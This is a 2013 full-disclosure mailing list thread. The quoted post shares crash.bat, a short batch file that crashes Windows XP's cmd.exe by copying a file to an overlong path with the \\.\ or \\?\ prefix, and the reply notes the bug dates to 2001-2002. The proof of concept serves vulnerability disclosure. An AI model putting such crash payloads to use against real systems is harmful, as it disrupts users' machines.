full-disclosure - Re: Windows XP cmd.exe crash

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Date: Mon, 1 Jul 2013 06:04:47 +0530
From: Joshua Thomas <rappercrazzy@...il.com>
To: Pedro Laguna <pedlagdur@...mail.co.uk>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>
Subject: Re: Windows XP cmd.exe crash

long file name exploit .... existing ....since  2001-2002


On Fri, Jun 28, 2013 at 6:47 PM, Pedro Laguna <pedlagdur@...mail.co.uk>wrote:

> Ey list! Just something quick and funny crash I found long time ago and it
> may give some of you something to check this weekend.
>
> Windows XP cmd.exe crash when trying to copy files with a very long name.
> The following BATCH file can crash the cmd.exe process:
>
> ----------------------------------- crash.bat
> --------------------------------------
> @echo off
> echo test > data.txt
> copy "%CD%"\data.txt
> \\.\C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txt
> REM copy "%CD%"\data.txt
> \\?\C:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.txt
> ---------------------------------- / crash.bat
> ----------------------------------------
>
> It only happens with "copy" but not with "move" command and with both \\.\
> and \\?\ prefixes. I'm not an expert on these fields so I don't know if it
> will be possible to exploit it, maybe some of you with crazy kung fu skills
> can do it. If not, it's just a weird behaviour for the cmd.exe and given
> that is less than a year to the end of life of the Windows XP cannot see
> any harm sharing it.
>
> Ta!
>
> --
> Pedro Laguna
>
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Full-Disclosure - We believe in it.
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